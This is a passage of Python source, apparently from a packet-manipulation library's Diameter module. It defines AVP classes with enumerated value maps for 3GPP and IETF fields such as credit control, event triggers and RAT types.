fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })] class AVP_0_403 (AVP_FL_NV): name = 'CHAP-Algorithm' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {5: "CHAP with MD5", })] class AVP_0_406 (AVP_FL_NV): name = 'Accounting-Auth-Method' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "PAP", 2: "CHAP", 3: "MS-CHAP-1", 4: "MS-CHAP-2", 5: "EAP", 6: "Undefined", 7: "None", })] # noqa: E501 class AVP_0_416 (AVP_FL_NV): name = 'CC-Request-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "INITIAL_REQUEST", 2: "UPDATE_REQUEST", 3: "TERMINATION_REQUEST", 4: "EVENT_REQUEST", })] # noqa: E501 class AVP_0_418 (AVP_FL_NV): name = 'CC-Session-Failover' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "FAILOVER_NOT_SUPPORTED", 1: "FAILOVER_SUPPORTED", })] # noqa: E501 class AVP_0_422 (AVP_FL_NV): name = 'Check-Balance-Result' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "ENOUGH_CREDIT", 1: "NO_CREDIT", })] # noqa: E501 class AVP_0_426 (AVP_FL_NV): name = 'Credit-Control' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "CREDIT_AUTHORIZATION", 1: "RE_AUTHORIZATION", })] # noqa: E501 class AVP_0_427 (AVP_FL_NV): name = 'Credit-Control-Failure-Handling' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "TERMINATE", 1: "CONTINUE", 2: "RETRY_AND_TERMINATE", })] class AVP_0_428 (AVP_FL_NV): name = 'Direct-Debiting-Failure-Handling' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE_OR_BUFFER", 1: "CONTINUE", })] # noqa: E501 class AVP_0_433 (AVP_FL_NV): name = 'Redirect-Address-Type' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "IPV4_ADDRESS", 1: "IPV6_ADDRESS", 2: "URL", 3: "SIP_URI", })] # noqa: E501 class AVP_0_436 (AVP_FL_NV): name = 'Requested-Action' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "DIRECT_DEBITING", 1: "REFUND_ACCOUNT", 2: "CHECK_BALANCE", 3: "PRICE_ENQUIRY", })] # noqa: E501 class AVP_0_449 (AVP_FL_NV): name = 'Final-Unit-Action' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE", 1: "REDIRECT", 2: "RESTRICT_ACCESS", })] # noqa: E501 class AVP_0_450 (AVP_FL_NV): name = 'Subscription-Id-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "END_USER_E164", 1: "END_USER_IMSI", 2: "END_USER_SIP_URI", 3: "END_USER_NAI", 4: "END_USER_PRIVATE", })] class AVP_0_452 (AVP_FL_NV): name = 'Tariff-Change-Usage' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "UNIT_BEFORE_TARIFF_CHANGE", 1: "UNIT_AFTER_TARIFF_CHANGE", 2: "UNIT_INDETERMINATE", })] # noqa: E501 class AVP_0_454 (AVP_FL_NV): name = 'CC-Unit-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "TIME", 1: "MONEY", 2: "TOTAL-OCTETS", 3: "INPUT-OCTETS", 4: "OUTPUT-OCTETS", 5: "SERVICE-SPECIFIC-UNITS", })] class AVP_0_455 (AVP_FL_NV): name = 'Multiple-Services-Indicator' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "MULTIPLE_SERVICES_NOT_SUPPORTED", 1: "MULTIPLE_SERVICES_SUPPORTED", })] # noqa: E501 class AVP_0_459 (AVP_FL_NV): name = 'User-Equipment-Info-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "IMEISV", 1: "MAC", 2: "EUI64", 3: "MODIFIED_EUI64", })] class AVP_0_480 (AVP_FL_NV): name = 'Accounting-Record-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "Event Record", 2: "Start Record", 3: "Interim Record", 4: "Stop Record", })] # noqa: E501 class AVP_0_483 (AVP_FL_NV): name = 'Accounting-Realtime-Required' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Reserved", 1: "DELIVER_AND_GRANT", 2: "GRANT_AND_STORE", 3: "GRANT_AND_LOSE", })] # noqa: E501 class AVP_0_494 (AVP_FL_NV): name = 'MIP6-Auth-Mode' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "Reserved", 1: "IP6_AUTH_MN_AAA", })] # noqa: E501 class AVP_0_513 (AVP_FL_NV): name = 'Protocol' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "ICMP", 2: "IGMP", 4: "IPv4", 6: "TCP", 17: "UDP", 132: "SCTP", })] # noqa: E501 class AVP_0_514 (AVP_FL_NV): name = 'Direction' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "IN", 1: "OUT", 2: "BOTH", })] class AVP_0_517 (AVP_FL_NV): name = 'Negated' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })] class AVP_0_534 (AVP_FL_NV): name = 'Use-Assigned-Address' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })] class AVP_0_535 (AVP_FL_NV): name = 'Diffserv-Code-Point' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "CS0", 8: "CS1", 10: "AF11", 12: "AF12", 14: "AF13", 16: "CS2", 18: "AF21", 20: "AF22", 22: "AF23", 24: "CS3", 26: "AF31", 28: "AF32", 30: "AF33", 32: "CS4", 34: "AF41", 36: "AF42", 38: "AF43", 40: "CS5", 46: "EF_PHB", 48: "CS6", 56: "CS7", })] class AVP_0_536 (AVP_FL_NV): name = 'Fragmentation-Flag' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "Don't Fragment", 1: "More Fragments", })] # noqa: E501 class AVP_0_538 (AVP_FL_NV): name = 'IP-Option-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "end_of_list", 1: "nop", 2: "security", 3: "loose_source_route", 4: "timestamp", 5: "extended_security", 6: "commercial_security", 7: "record_route", 8: "stream_id", 9: "strict_source_route", 10: "experimental_measurement", 11: "mtu_probe", 12: "mtu_reply", 13: "flow_control", 14: "access_control", 15: "encode", 16: "imi_traffic_descriptor", 17: "extended_IP", 18: "traceroute", 19: "address_extension", 20: "router_alert", 21: "selective_directed_broadcast_mode", 23: "dynamic_packet_state", 24: "upstream_multicast_packet", 25: "quick_start", 30: "rfc4727_experiment", })] class AVP_0_541 (AVP_FL_NV): name = 'TCP-Option-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "EOL", 1: "NOP", 2: "MSS", 3: "WScale", 4: "SAckOK", 5: "SAck", 8: "Timestamp", 14: "AltChkSum", 15: "AltChkSumOpt", 25: "Mood", })] class AVP_0_546 (AVP_FL_NV): name = 'ICMP-Type-Number' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "echo-reply", 3: "dest-unreach", 4: "source-quench", 5: "redirect", 8: "echo-request", 9: "router-advertisement", 10: "router-solicitation", 11: "time-exceeded", 12: "parameter-problem", 13: "timestamp-request", 14: "timestamp-reply", 15: "information-request", 16: "information-response", 17: "address-mask-request", 18: "address-mask-reply", })] class AVP_0_547 (AVP_FL_NV): name = 'ICMP-Code' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "TBD", })] class AVP_0_570 (AVP_FL_NV): name = 'Timezone-Flag' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "UTC", 1: "LOCAL", 2: "OFFSET", })] # noqa: E501 class AVP_0_575 (AVP_FL_NV): name = 'QoS-Semantics' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "QoS_Desired", 1: "QoS_Available", 2: "QoS_Delivered", 3: "Minimum_QoS", 4: "QoS_Authorized", })] class AVP_10415_500 (AVP_FL_V): name = 'Abort-Cause' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "BEARER_RELEASED", 1: "INSUFFICIENT_SERVER_RESOURCES", 2: "INSUFFICIENT_BEARER_RESOURCES", })] class AVP_10415_511 (AVP_FL_V): name = 'Flow-Status' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "ENABLED-UPLINK", 1: "ENABLED-DOWNLINK", 2: "ENABLED", 3: "DISABLED", 4: "REMOVED", })] # noqa: E501 class AVP_10415_512 (AVP_FL_V): name = 'Flow-Usage' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "RTCP", 2: "AF_SIGNALLING", })] # noqa: E501 class AVP_10415_513 (AVP_FL_V): name = 'Specific-Action' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "CHARGING_CORRELATION_EXCHANGE", 2: "INDICATION_OF_LOSS_OF_BEARER", 3: "INDICATION_OF_RECOVERY_OF_BEARER", 4: "INDICATION_OF_RELEASE_OF_BEARER", 6: "IP-CAN_CHANGE", 7: "INDICATION_OF_OUT_OF_CREDIT", 8: "INDICATION_OF_SUCCESSFUL_RESOURCES_ALLOCATION", 9: "INDICATION_OF_FAILED_RESOURCES_ALLOCATION", 10: "INDICATION_OF_LIMITED_PCC_DEPLOYMENT", 11: "USAGE_REPORT", 12: "ACCESS_NETWORK_INFO_REPORT", })] class AVP_10415_520 (AVP_FL_V): name = 'Media-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "AUDIO", 1: "VIDEO", 2: "DATA", 3: "APPLICATION", 4: "CONTROL", 5: "TEXT", 6: "MESSAGE", 4294967295: "OTHER", })] class AVP_10415_523 (AVP_FL_V): name = 'SIP-Forking-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SINGLE_DIALOGUE", 1: "SEVERAL_DIALOGUES", })] class AVP_10415_527 (AVP_FL_V): name = 'Service-Info-Status' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "FINAL_SERVICE_INFORMATION", 1: "PRELIMINARY_SERVICE_INFORMATION", })] # noqa: E501 class AVP_10415_529 (AVP_FL_V): name = 'AF-Signalling-Protocol' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "SIP", })] class AVP_10415_533 (AVP_FL_V): name = 'Rx-Request-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "UPDATE_REQUEST", })] # noqa: E501 class AVP_10415_536 (AVP_FL_V): name = 'Required-Access-Info' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "USER_LOCATION", 1: "MS_TIME_ZONE", })] # noqa: E501 class AVP_10415_614 (AVP_FL_V): name = 'Server-Assignment-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "NO_ASSIGNMENT", 1: "REGISTRATION", 2: "RE_REGISTRATION", 3: "UNREGISTERED_USER", 4: "TIMEOUT_DEREGISTRATION", 5: "USER_DEREGISTRATION", 6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME", 7: "USER_DEREGISTRATION_STORE_SERVER_NAME", 8: "ADMINISTRATIVE_DEREGISTRATION", 9: "AUTHENTICATION_FAILURE", 10: "AUTHENTICATION_TIMEOUT", 11: "DEREGISTRATION_TOO_MUCH_DATA", 12: "AAA_USER_DATA_REQUEST", 13: "PGW_UPDATE", })] class AVP_10415_616 (AVP_FL_V): name = 'Reason-Code' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PERMANENT_TERMINATION", 1: "NEW_SERVER_ASSIGNED", 2: "SERVER_CHANGE", 3: "REMOVE_S-CSCF", })] class AVP_10415_623 (AVP_FL_V): name = 'User-Authorization-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "REGISTRATION", 1: "DE_REGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })] # noqa: E501 class AVP_10415_624 (AVP_FL_V): name = 'User-Data-Already-Available' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })] class AVP_10415_633 (AVP_FL_V): name = 'Originating-Request' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ORIGINATING", })] class AVP_10415_638 (AVP_FL_V): name = 'Loose-Route-Indication' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LOOSE_ROUTE_NOT_REQUIRED", 1: "LOOSE_ROUTE_REQUIRED", })] # noqa: E501 class AVP_10415_648 (AVP_FL_V): name = 'Multiple-Registration-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NOT_MULTIPLE_REGISTRATION", 1: "MULTIPLE_REGISTRATION", })] class AVP_10415_650 (AVP_FL_V): name = 'Session-Priority' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "PRIORITY-0", 1: "PRIORITY-1", 2: "PRIORITY-2", 3: "PRIORITY-3", 4: "PRIORITY-4", })] # noqa: E501 class AVP_10415_652 (AVP_FL_V): name = 'Priviledged-Sender-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NOT_PRIVILEDGED_SENDER", 1: "PRIVILEDGED_SENDER", })] class AVP_10415_703 (AVP_FL_V): name = 'Data-Reference' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "RepositoryData", 1: "Undefined", 2: "Undefined", 3: "Undefined", 4: "Undefined", 5: "Undefined", 6: "Undefined", 7: "Undefined", 8: "Undefined", 9: "Undefined", 10: "IMSPublicIdentity", 11: "IMSUserState", 12: "S-CSCFName", 13: "InitialFilterCriteria", 14: "LocationInformation", 15: "UserState", 16: "ChargingInformation", 17: "MSISDN", 18: "PSIActivation", 19: "DSAI", 20: "Reserved", 21: "ServiceLevelTraceInfo", 22: "IPAddressSecureBindingInformation", 23: "ServicePriorityLevel", 24: "SMSRegistrationInfo", 25: "UEReachabilityForIP", 26: "TADSinformation", 27: "STN-SR", 28: "UE-SRVCC-Capability", 29: "ExtendedPriority", 30: "CSRN", 31: "ReferenceLocationInformation", })] class AVP_10415_705 (AVP_FL_V): name = 'Subs-Req-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Subscribe", 1: "Unsubscribe", })] # noqa: E501 class AVP_10415_706 (AVP_FL_V): name = 'Requested-Domain' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "CS-Domain", 1: "PS-Domain", })] class AVP_10415_707 (AVP_FL_V): name = 'Current-Location' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "DoNotNeedInitiateActiveLocationRetrieval", 1: "InitiateActiveLocationRetrieval", })] # noqa: E501 class AVP_10415_708 (AVP_FL_V): name = 'Identity-Set' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "ALL_IDENTITIES", 1: "REGISTERED_IDENTITIES", 2: "IMPLICIT_IDENTITIES", 3: "ALIAS_IDENTITIES", })] class AVP_10415_710 (AVP_FL_V): name = 'Send-Data-Indication' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "USER_DATA_NOT_REQUESTED", 1: "USER_DATA_REQUESTED", })] # noqa: E501 class AVP_10415_712 (AVP_FL_V): name = 'One-Time-Notification' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_NOTIFICATION_REQUESTED", })] # noqa: E501 class AVP_10415_714 (AVP_FL_V): name = 'Serving-Node-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ONLY_SERVING_NODES_REQUIRED", })] # noqa: E501 class AVP_10415_717 (AVP_FL_V): name = 'Pre-paging-Supported' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PREPAGING_NOT_SUPPORTED", 1: "PREPAGING_SUPPORTED", })] # noqa: E501 class AVP_10415_718 (AVP_FL_V): name = 'Local-Time-Zone-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "ONLY_LOCAL_TIME_ZONE_REQUESTED", 1: "LOCAL_TIME_ZONE_WITH_LOCATION_INFO_REQUESTED", })] # noqa: E501 class AVP_10415_829 (AVP_FL_V): name = 'Role-Of-Node' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", 2: "FORWARDING_ROLE", })] # noqa: E501 class AVP_10415_862 (AVP_FL_V): name = 'Node-Functionality' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "S-CSCF", 1: "P-CSCF", 2: "I-CSCF", 5: "BGCF", 6: "AS", 7: "IBCF", 8: "S-GW", 9: "P-GW", 10: "HSGW", 11: "E-CSCF ", 12: "MME ", 13: "TRF", 14: "TF", 15: "ATCF", 16: "Proxy Function", 17: "ePDG", })] class AVP_10415_864 (AVP_FL_V): name = 'Originator' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Calling Party", 1: "Called Party", })] # noqa: E501 class AVP_10415_867 (AVP_FL_V): name = 'PS-Append-Free-Format-Data' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "'Append' ", 1: "'Overwrite' ", })] # noqa: E501 class AVP_10415_870 (AVP_FL_V): name = 'Trigger-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {1: "CHANGE_IN_SGSN_IP_ADDRESS ", 2: "CHANGE_IN_QOS", 3: "CHANGE_IN_LOCATION", 4: "CHANGE_IN_RAT", 5: "CHANGE_IN_UE_TIMEZONE", 10: "CHANGEINQOS_TRAFFIC_CLASS", 11: "CHANGEINQOS_RELIABILITY_CLASS", 12: "CHANGEINQOS_DELAY_CLASS", 13: "CHANGEINQOS_PEAK_THROUGHPUT", 14: "CHANGEINQOS_PRECEDENCE_CLASS", 15: "CHANGEINQOS_MEAN_THROUGHPUT", 16: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_UPLINK", 17: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_DOWNLINK", 18: "CHANGEINQOS_RESIDUAL_BER", 19: "CHANGEINQOS_SDU_ERROR_RATIO", 20: "CHANGEINQOS_TRANSFER_DELAY", 21: "CHANGEINQOS_TRAFFIC_HANDLING_PRIORITY", 22: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_UPLINK", # noqa: E501 23: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_DOWNLINK", # noqa: E501 24: "CHANGEINQOS_APN_AGGREGATE_MAXIMUM_BIT_RATE", # noqa: E501 30: "CHANGEINLOCATION_MCC", 31: "CHANGEINLOCATION_MNC", 32: "CHANGEINLOCATION_RAC", 33: "CHANGEINLOCATION_LAC", 34: "CHANGEINLOCATION_CellId", 35: "CHANGEINLOCATION_TAC", 36: "CHANGEINLOCATION_ECGI", 40: "CHANGE_IN_MEDIA_COMPOSITION", 50: "CHANGE_IN_PARTICIPANTS_NMB", 51: "CHANGE_IN_ THRSHLD_OF_PARTICIPANTS_NMB", 52: "CHANGE_IN_USER_PARTICIPATING_TYPE", 60: "CHANGE_IN_SERVICE_CONDITION", 61: "CHANGE_IN_SERVING_NODE", 70: "CHANGE_IN_USER_CSG_INFORMATION", 71: "CHANGE_IN_HYBRID_SUBSCRIBED_USER_CSG_INFORMATION", # noqa: E501 72: "CHANGE_IN_HYBRID_UNSUBSCRIBED_USER_CSG_INFORMATION", # noqa: E501 73: "CHANGE_OF_UE_PRESENCE_IN_PRESENCE_REPORTING_AREA", # noqa: E501 })] class AVP_10415_872 (AVP_FL_V): name = 'Reporting-Reason' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "THRESHOLD", 1: "QHT", 2: "FINAL", 3: "QUOTA_EXHAUSTED", 4: "VALIDITY_TIME", 5: "OTHER_QUOTA_TYPE", 6: "RATING_CONDITION_CHANGE", 7: "FORCED_REAUTHORISATION", 8: "POOL_EXHAUSTED", })] class AVP_10415_882 (AVP_FL_V): name = 'Media-Initiator-Flag' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "called party", 1: "calling party", 2: "unknown", })] # noqa: E501 class AVP_10415_883 (AVP_FL_V): name = 'PoC-Server-Role' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Participating PoC Server", 1: "Controlling PoC Server", })] # noqa: E501 class AVP_10415_884 (AVP_FL_V): name = 'PoC-Session-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "1 to 1 PoC session", 1: "Chat PoC group session", 2: "Pre-arranged PoC group session", 3: "Ad-hoc PoC group session", })] class AVP_10415_899 (AVP_FL_V): name = 'Address-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "e-mail address", 1: "MSISDN", 2: "IPv4 Address", 3: "IPv6 Address", 4: "Numeric Shortcode", 5: "Alphanumeric Shortcode", 6: "Other", 7: "IMSI", })] class AVP_10415_902 (AVP_FL_V): name = 'MBMS-StartStop-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "START", 1: "STOP", 2: "UPDATE", })] # noqa: E501 class AVP_10415_906 (AVP_FL_V): name = 'MBMS-Service-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "MULTICAST", 1: "BROADCAST", })] class AVP_10415_907 (AVP_FL_V): name = 'MBMS-2G-3G-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "2G", 1: "3G", 2: "2G-AND-3G", })] # noqa: E501 class AVP_10415_921 (AVP_FL_V): name = 'CN-IP-Multicast-Distribution' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NO-IP-MULTICAST", 1: "IP-MULTICAST", })] # noqa: E501 class AVP_10415_922 (AVP_FL_V): name = 'MBMS-HC-Indicator' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "uncompressed-header", 1: "compressed-header", })] # noqa: E501 class AVP_10415_1000 (AVP_FL_V): name = 'Bearer-Usage' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "GENERAL", 1: "IMS SIGNALLING", 2: "DEDICATED", })] # noqa: E501 class AVP_10415_1006 (AVP_FL_V): name = 'Event-Trigger' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "SGSN_CHANGE", 1: "QOS_CHANGE", 2: "RAT_CHANGE", 3: "TFT_CHANGE", 4: "PLMN_CHANGE", 5: "LOSS_OF_BEARER", 6: "RECOVERY_OF_BEARER", 7: "IP-CAN_CHANGE", 8: "GW-PCEF-MALFUNCTION", 9: "RESOURCES_LIMITATION", 10: "MAX_NR_BEARERS_REACHED", 11: "QOS_CHANGE_EXCEEDING_AUTHORIZATION", 12: "RAI_CHANGE", 13: "USER_LOCATION_CHANGE", 14: "NO_EVENT_TRIGGERS", 15: "OUT_OF_CREDIT", 16: "REALLOCATION_OF_CREDIT", 17: "REVALIDATION_TIMEOUT", 18: "UE_IP_ADDRESS_ALLOCATE", 19: "UE_IP_ADDRESS_RELEASE", 20: "DEFAULT_EPS_BEARER_QOS_CHANGE", 21: "AN_GW_CHANGE", 22: "SUCCESSFUL_RESOURCE_ALLOCATION", 23: "RESOURCE_MODIFICATION_REQUEST", 24: "PGW_TRACE_CONTROL", 25: "UE_TIME_ZONE_CHANGE", 26: "TAI_CHANGE", 27: "ECGI_CHANGE", 28: "CHARGING_CORRELATION_EXCHANGE", 29: "APN-AMBR_MODIFICATION_FAILURE", 30: "USER_CSG_INFORMATION_CHANGE", 33: "USAGE_REPORT", 34: "DEFAULT-EPS-BEARER-QOS_MODIFICATION_FAILURE", 35: "USER_CSG_HYBRID_SUBSCRIBED_INFORMATION_CHANGE", 36: "USER_CSG_ HYBRID_UNSUBSCRIBED_INFORMATION_CHANGE", 37: "ROUTING_RULE_CHANGE", 38: "MAX_MBR_APN_AMBR_CHANGE", 39: "APPLICATION_START", 40: "APPLICATION_STOP", 41: "ADC_REVALIDATION_TIMEOUT", 42: "CS_TO_PS_HANDOVER", 43: "UE_LOCAL_IP_ADDRESS_CHANGE", 45: "ACCESS_NETWORK_INFO_REPORT", 100: "TIME_CHANGE", 1000: "TFT DELETED", 1001: "LOSS OF BEARER", 1002: "RECOVERY OF BEARER", 1003: "POLICY ENFORCEMENT FAILED", })] class AVP_10415_1007 (AVP_FL_V): name = 'Metering-Method' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DURATION", 1: "VOLUME", 2: "DURATION_VOLUME", })] # noqa: E501 class AVP_10415_1008 (AVP_FL_V): name = 'Offline' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_OFFLINE", 1: "ENABLE_OFFLINE", })] # noqa: E501 class AVP_10415_1009 (AVP_FL_V): name = 'Online' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_ONLINE", 1: "ENABLE_ONLINE", })] # noqa: E501 class AVP_10415_1011 (AVP_FL_V): name = 'Reporting-Level' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SERVICE_IDENTIFIER_LEVEL", 1: "RATING_GROUP_LEVEL", 2: "SPONSORED_CONNECTIVITY_LEVEL", })] # noqa: E501 class AVP_10415_1015 (AVP_FL_V): name = 'PDP-Session-Operation' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "PDP-SESSION-TERMINATION", })] class AVP_10415_1019 (AVP_FL_V): name = 'PCC-Rule-Status' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ACTIVE", 1: "INACTIVE", 2: "TEMPORARY_INACTIVE", })] # noqa: E501 class AVP_10415_1021 (AVP_FL_V): name = 'Bearer-Operation' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })] # noqa: E501 class AVP_10415_1023 (AVP_FL_V): name = 'Bearer-Control-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "UE_ONLY", 1: "RESERVED", 2: "UE_NW", })] # noqa: E501 class AVP_10415_1024 (AVP_FL_V): name = 'Network-Request-Support' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NETWORK_REQUEST NOT SUPPORTED", 1: "NETWORK_REQUEST SUPPORTED", })] # noqa: E501 class AVP_10415_1027 (AVP_FL_V): name = 'IP-CAN-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "3GPP-GPRS", 1: "DOCSIS", 2: "xDSL", 3: "WiMAX", 4: "3GPP2", 5: "3GPP-EPS", 6: "Non-3GPP-EPS", })] class AVP_10415_1028 (AVP_FL_V): name = 'QoS-Class-Identifier' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "QCI_1", 2: "QCI_2", 3: "QCI_3", 4: "QCI_4", 5: "QCI_5", 6: "QCI_6", 7: "QCI_7", 8: "QCI_8", 9: "QCI_9", })] class AVP_10415_1032 (AVP_FL_V): name = 'RAT-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "WLAN", 1: "VIRTUAL", 1000: "UTRAN", 1001: "GERAN", 1002: "GAN", 1003: "HSPA_EVOLUTION", 1004: "EUTRAN", 2000: "CDMA2000_1X", 2001: "HRPD", 2002: "UMB", 2003: "EHRPD", })] class AVP_10415_1045 (AVP_FL_V): name = 'Session-Release-Cause' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "UNSPECIFIED_REASON", 1: "UE_SUBSCRIPTION_REASON", 2: "INSUFFICIENT_SERVER_RESOURCES", })] # noqa: E501 class AVP_10415_1047 (AVP_FL_V): name = 'Pre-emption-Capability' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "PRE-EMPTION_CAPABILITY_ENABLED", 1: "PRE-EMPTION_CAPABILITY_DISABLED", })] # noqa: E501 class AVP_10415_1048 (AVP_FL_V): name = 'Pre-emption-Vulnerability' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "PRE-EMPTION_VULNERABILITY_ENABLED", 1: "PRE-EMPTION_VULNERABILITY_DISABLED", })] # noqa: E501 class AVP_10415_1062 (AVP_FL_V): name = 'Packet-Filter-Operation' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "DELETION", 1: "ADDITION", 2: "MODIFICATION", })] class AVP_10415_1063 (AVP_FL_V): name = 'Resource-Allocation-Notification' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ENABLE_NOTIFICATION", })] class AVP_10415_1068 (AVP_FL_V): name = 